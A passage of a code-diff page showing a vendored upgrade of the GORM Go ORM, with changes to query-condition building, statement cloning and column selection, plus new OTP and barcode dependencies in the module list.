clause.NamedExpr{SQL: sql, Vars: vars}.Build(subdb.Statement)
|
||||
} else {
|
||||
clause.Expr{SQL: sql, Vars: vars}.Build(subdb.Statement)
|
||||
}
|
||||
} else {
|
||||
subdb.Statement.Vars = append(stmt.Vars, subdb.Statement.Vars...)
|
||||
subdb.callbacks.Query().Execute(subdb)
|
||||
}
|
||||
|
||||
writer.WriteString(subdb.Statement.SQL.String())
|
||||
stmt.Vars = subdb.Statement.Vars
|
||||
default:
|
||||
@@ -239,12 +260,12 @@ func (stmt *Statement) AddClauseIfNotExists(v clause.Interface) {
|
||||
}
|
||||
|
||||
// BuildCondition build condition
|
||||
func (stmt *Statement) BuildCondition(query interface{}, args ...interface{}) (conds []clause.Expression) {
|
||||
func (stmt *Statement) BuildCondition(query interface{}, args ...interface{}) []clause.Expression {
|
||||
if s, ok := query.(string); ok {
|
||||
// if it is a number, then treats it as primary key
|
||||
if _, err := strconv.Atoi(s); err != nil {
|
||||
if s == "" && len(args) == 0 {
|
||||
return
|
||||
return nil
|
||||
} else if len(args) == 0 || (len(args) > 0 && strings.Contains(s, "?")) {
|
||||
// looks like a where condition
|
||||
return []clause.Expression{clause.Expr{SQL: s, Vars: args}}
|
||||
@@ -257,8 +278,9 @@ func (stmt *Statement) BuildCondition(query interface{}, args ...interface{}) (c
|
||||
}
|
||||
}
|
||||
|
||||
conds := make([]clause.Expression, 0, 4)
|
||||
args = append([]interface{}{query}, args...)
|
||||
for _, arg := range args {
|
||||
for idx, arg := range args {
|
||||
if valuer, ok := arg.(driver.Valuer); ok {
|
||||
arg, _ = valuer.Value()
|
||||
}
|
||||
@@ -269,6 +291,11 @@ func (stmt *Statement) BuildCondition(query interface{}, args ...interface{}) (c
|
||||
case *DB:
|
||||
if cs, ok := v.Statement.Clauses["WHERE"]; ok {
|
||||
if where, ok := cs.Expression.(clause.Where); ok {
|
||||
if len(where.Exprs) == 1 {
|
||||
if orConds, ok := where.Exprs[0].(clause.OrConditions); ok {
|
||||
where.Exprs[0] = clause.AndConditions(orConds)
|
||||
}
|
||||
}
|
||||
conds = append(conds, clause.And(where.Exprs...))
|
||||
} else if cs.Expression != nil {
|
||||
conds = append(conds, cs.Expression)
|
||||
@@ -304,8 +331,10 @@ func (stmt *Statement) BuildCondition(query interface{}, args ...interface{}) (c
|
||||
} else if _, ok := v[key].(Valuer); ok {
|
||||
conds = append(conds, clause.Eq{Column: key, Value: v[key]})
|
||||
} else {
|
||||
values := make([]interface{}, reflectValue.Len())
|
||||
for i := 0; i < reflectValue.Len(); i++ {
|
||||
// optimize reflect value length
|
||||
valueLen := reflectValue.Len()
|
||||
values := make([]interface{}, valueLen)
|
||||
for i := 0; i < valueLen; i++ {
|
||||
values[i] = reflectValue.Index(i).Interface()
|
||||
}
|
||||
|
||||
@@ -317,12 +346,27 @@ func (stmt *Statement) BuildCondition(query interface{}, args ...interface{}) (c
|
||||
}
|
||||
default:
|
||||
reflectValue := reflect.Indirect(reflect.ValueOf(arg))
|
||||
for reflectValue.Kind() == reflect.Ptr {
|
||||
reflectValue = reflectValue.Elem()
|
||||
}
|
||||
|
||||
if s, err := schema.Parse(arg, stmt.DB.cacheStore, stmt.DB.NamingStrategy); err == nil {
|
||||
selectedColumns := map[string]bool{}
|
||||
if idx == 0 {
|
||||
for _, v := range args[1:] {
|
||||
if vs, ok := v.(string); ok {
|
||||
selectedColumns[vs] = true
|
||||
}
|
||||
}
|
||||
}
|
||||
restricted := len(selectedColumns) != 0
|
||||
|
||||
switch reflectValue.Kind() {
|
||||
case reflect.Struct:
|
||||
for _, field := range s.Fields {
|
||||
if field.Readable {
|
||||
if v, isZero := field.ValueOf(reflectValue); !isZero {
|
||||
selected := selectedColumns[field.DBName] || selectedColumns[field.Name]
|
||||
if selected || (!restricted && field.Readable) {
|
||||
if v, isZero := field.ValueOf(reflectValue); !isZero || selected {
|
||||
if field.DBName != "" {
|
||||
conds = append(conds, clause.Eq{Column: clause.Column{Table: clause.CurrentTable, Name: field.DBName}, Value: v})
|
||||
} else if field.DataType != "" {
|
||||
@@ -334,8 +378,9 @@ func (stmt *Statement) BuildCondition(query interface{}, args ...interface{}) (c
|
||||
case reflect.Slice, reflect.Array:
|
||||
for i := 0; i < reflectValue.Len(); i++ {
|
||||
for _, field := range s.Fields {
|
||||
if field.Readable {
|
||||
if v, isZero := field.ValueOf(reflectValue.Index(i)); !isZero {
|
||||
selected := selectedColumns[field.DBName] || selectedColumns[field.Name]
|
||||
if selected || (!restricted && field.Readable) {
|
||||
if v, isZero := field.ValueOf(reflectValue.Index(i)); !isZero || selected {
|
||||
if field.DBName != "" {
|
||||
conds = append(conds, clause.Eq{Column: clause.Column{Table: clause.CurrentTable, Name: field.DBName}, Value: v})
|
||||
} else if field.DataType != "" {
|
||||
@@ -346,19 +391,27 @@ func (stmt *Statement) BuildCondition(query interface{}, args ...interface{}) (c
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if restricted {
|
||||
break
|
||||
}
|
||||
} else if !reflectValue.IsValid() {
|
||||
stmt.AddError(ErrInvalidData)
|
||||
} else if len(conds) == 0 {
|
||||
if len(args) == 1 {
|
||||
switch reflectValue.Kind() {
|
||||
case reflect.Slice, reflect.Array:
|
||||
values := make([]interface{}, reflectValue.Len())
|
||||
for i := 0; i < reflectValue.Len(); i++ {
|
||||
// optimize reflect value length
|
||||
valueLen := reflectValue.Len()
|
||||
values := make([]interface{}, valueLen)
|
||||
for i := 0; i < valueLen; i++ {
|
||||
values[i] = reflectValue.Index(i).Interface()
|
||||
}
|
||||
|
||||
if len(values) > 0 {
|
||||
conds = append(conds, clause.IN{Column: clause.PrimaryColumn, Values: values})
|
||||
}
|
||||
return
|
||||
return conds
|
||||
}
|
||||
}
|
||||
|
||||
@@ -367,7 +420,7 @@ func (stmt *Statement) BuildCondition(query interface{}, args ...interface{}) (c
|
||||
}
|
||||
}
|
||||
|
||||
return
|
||||
return conds
|
||||
}
|
||||
|
||||
// Build build sql with clauses names
|
||||
@@ -420,7 +473,13 @@ func (stmt *Statement) clone() *Statement {
|
||||
Schema: stmt.Schema,
|
||||
Context: stmt.Context,
|
||||
RaiseErrorOnNotFound: stmt.RaiseErrorOnNotFound,
|
||||
UpdatingColumn: stmt.UpdatingColumn,
|
||||
SkipHooks: stmt.SkipHooks,
|
||||
}
|
||||
|
||||
if stmt.SQL.Len() > 0 {
|
||||
newStmt.SQL.WriteString(stmt.SQL.String())
|
||||
newStmt.Vars = make([]interface{}, 0, len(stmt.Vars))
|
||||
newStmt.Vars = append(newStmt.Vars, stmt.Vars...)
|
||||
}
|
||||
|
||||
for k, c := range stmt.Clauses {
|
||||
@@ -436,6 +495,11 @@ func (stmt *Statement) clone() *Statement {
|
||||
copy(newStmt.Joins, stmt.Joins)
|
||||
}
|
||||
|
||||
if len(stmt.scopes) > 0 {
|
||||
newStmt.scopes = make([]func(*DB) *DB, len(stmt.scopes))
|
||||
copy(newStmt.scopes, stmt.scopes)
|
||||
}
|
||||
|
||||
stmt.Settings.Range(func(k, v interface{}) bool {
|
||||
newStmt.Settings.Store(k, v)
|
||||
return true
|
||||
@@ -444,11 +508,16 @@ func (stmt *Statement) clone() *Statement {
|
||||
return newStmt
|
||||
}
|
||||
|
||||
// Helpers
|
||||
// SetColumn set column's value
|
||||
func (stmt *Statement) SetColumn(name string, value interface{}) {
|
||||
// stmt.SetColumn("Name", "jinzhu") // Hooks Method
|
||||
// stmt.SetColumn("Name", "jinzhu", true) // Callbacks Method
|
||||
func (stmt *Statement) SetColumn(name string, value interface{}, fromCallbacks ...bool) {
|
||||
if v, ok := stmt.Dest.(map[string]interface{}); ok {
|
||||
v[name] = value
|
||||
} else if v, ok := stmt.Dest.([]map[string]interface{}); ok {
|
||||
for _, m := range v {
|
||||
m[name] = value
|
||||
}
|
||||
} else if stmt.Schema != nil {
|
||||
if field := stmt.Schema.LookUpField(name); field != nil {
|
||||
destValue := reflect.ValueOf(stmt.Dest)
|
||||
@@ -474,8 +543,19 @@ func (stmt *Statement) SetColumn(name string, value interface{}) {
|
||||
|
||||
switch stmt.ReflectValue.Kind() {
|
||||
case reflect.Slice, reflect.Array:
|
||||
field.Set(stmt.ReflectValue.Index(stmt.CurDestIndex), value)
|
||||
if len(fromCallbacks) > 0 {
|
||||
for i := 0; i < stmt.ReflectValue.Len(); i++ {
|
||||
field.Set(stmt.ReflectValue.Index(i), value)
|
||||
}
|
||||
} else {
|
||||
field.Set(stmt.ReflectValue.Index(stmt.CurDestIndex), value)
|
||||
}
|
||||
case reflect.Struct:
|
||||
if !stmt.ReflectValue.CanAddr() {
|
||||
stmt.AddError(ErrInvalidValue)
|
||||
return
|
||||
}
|
||||
|
||||
field.Set(stmt.ReflectValue, value)
|
||||
}
|
||||
} else {
|
||||
@@ -543,12 +623,14 @@ func (stmt *Statement) SelectAndOmitColumns(requireCreate, requireUpdate bool) (
|
||||
|
||||
// select columns
|
||||
for _, column := range stmt.Selects {
|
||||
if column == "*" {
|
||||
if stmt.Schema == nil {
|
||||
results[column] = true
|
||||
} else if column == "*" {
|
||||
notRestricted = true
|
||||
for _, dbName := range stmt.Schema.DBNames {
|
||||
results[dbName] = true
|
||||
}
|
||||
} else if column == clause.Associations && stmt.Schema != nil {
|
||||
} else if column == clause.Associations {
|
||||
for _, rel := range stmt.Schema.Relationships.Relations {
|
||||
results[rel.Name] = true
|
||||
}
|
||||
@@ -561,11 +643,11 @@ func (stmt *Statement) SelectAndOmitColumns(requireCreate, requireUpdate bool) (
|
||||
|
||||
// omit columns
|
||||
for _, omit := range stmt.Omits {
|
||||
if omit == clause.Associations {
|
||||
if stmt.Schema != nil {
|
||||
for _, rel := range stmt.Schema.Relationships.Relations {
|
||||
results[rel.Name] = false
|
||||
}
|
||||
if stmt.Schema == nil {
|
||||
results[omit] = false
|
||||
} else if omit == clause.Associations {
|
||||
for _, rel := range stmt.Schema.Relationships.Relations {
|
||||
results[rel.Name] = false
|
||||
}
|
||||
} else if field := stmt.Schema.LookUpField(omit); field != nil && field.DBName != "" {
|
||||
results[field.DBName] = false
|
||||
@@ -575,7 +657,7 @@ func (stmt *Statement) SelectAndOmitColumns(requireCreate, requireUpdate bool) (
|
||||
}
|
||||
|
||||
if stmt.Schema != nil {
|
||||
for _, field := range stmt.Schema.Fields {
|
||||
for _, field := range stmt.Schema.FieldsByName {
|
||||
name := field.DBName
|
||||
if name == "" {
|
||||
name = field.Name
|
||||
|
||||
+16
-1
@@ -15,17 +15,20 @@ var gormSourceDir string
|
||||
|
||||
func init() {
|
||||
_, file, _, _ := runtime.Caller(0)
|
||||
// compatible solution to get gorm source directory with various operating systems
|
||||
gormSourceDir = regexp.MustCompile(`utils.utils\.go`).ReplaceAllString(file, "")
|
||||
}
|
||||
|
||||
// FileWithLineNum return the file name and line number of the current file
|
||||
func FileWithLineNum() string {
|
||||
// the second caller usually from gorm internal, so set i start from 2
|
||||
for i := 2; i < 15; i++ {
|
||||
_, file, line, ok := runtime.Caller(i)
|
||||
|
||||
if ok && (!strings.HasPrefix(file, gormSourceDir) || strings.HasSuffix(file, "_test.go")) {
|
||||
return file + ":" + strconv.FormatInt(int64(line), 10)
|
||||
}
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
@@ -111,3 +114,15 @@ func ToString(value interface{}) string {
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func ExistsIn(a string, list *[]string) bool {
|
||||
if list == nil {
|
||||
return false
|
||||
}
|
||||
for _, b := range *list {
|
||||
if b == a {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
Vendored
+12
-2
@@ -68,6 +68,11 @@ github.com/alecthomas/chroma/lexers/x
|
||||
github.com/alecthomas/chroma/lexers/y
|
||||
github.com/alecthomas/chroma/lexers/z
|
||||
github.com/alecthomas/chroma/styles
|
||||
# github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc
|
||||
## explicit
|
||||
github.com/boombuler/barcode
|
||||
github.com/boombuler/barcode/qr
|
||||
github.com/boombuler/barcode/utils
|
||||
# github.com/cheggaaa/pb/v3 v3.0.5
|
||||
## explicit; go 1.12
|
||||
github.com/cheggaaa/pb/v3
|
||||
@@ -176,7 +181,7 @@ github.com/jackc/pgx/v4/stdlib
|
||||
# github.com/jinzhu/inflection v1.0.0
|
||||
## explicit
|
||||
github.com/jinzhu/inflection
|
||||
# github.com/jinzhu/now v1.1.1
|
||||
# github.com/jinzhu/now v1.1.2
|
||||
## explicit; go 1.12
|
||||
github.com/jinzhu/now
|
||||
# github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51
|
||||
@@ -222,6 +227,11 @@ github.com/miekg/dns
|
||||
# github.com/pmezard/go-difflib v1.0.0
|
||||
## explicit
|
||||
github.com/pmezard/go-difflib/difflib
|
||||
# github.com/pquerna/otp v1.3.0
|
||||
## explicit; go 1.12
|
||||
github.com/pquerna/otp
|
||||
github.com/pquerna/otp/hotp
|
||||
github.com/pquerna/otp/totp
|
||||
# github.com/sergi/go-diff v1.1.0
|
||||
## explicit; go 1.12
|
||||
# github.com/sirupsen/logrus v1.7.0
|
||||
@@ -434,7 +444,7 @@ gorm.io/driver/postgres
|
||||
# gorm.io/driver/sqlite v1.1.3
|
||||
## explicit; go 1.14
|
||||
gorm.io/driver/sqlite
|
||||
# gorm.io/gorm v1.20.6
|
||||
# gorm.io/gorm v1.21.14
|
||||
## explicit; go 1.14
|
||||
gorm.io/gorm
|
||||
gorm.io/gorm/callbacks
|
||||
|
||||
Reference in new issue
Block a user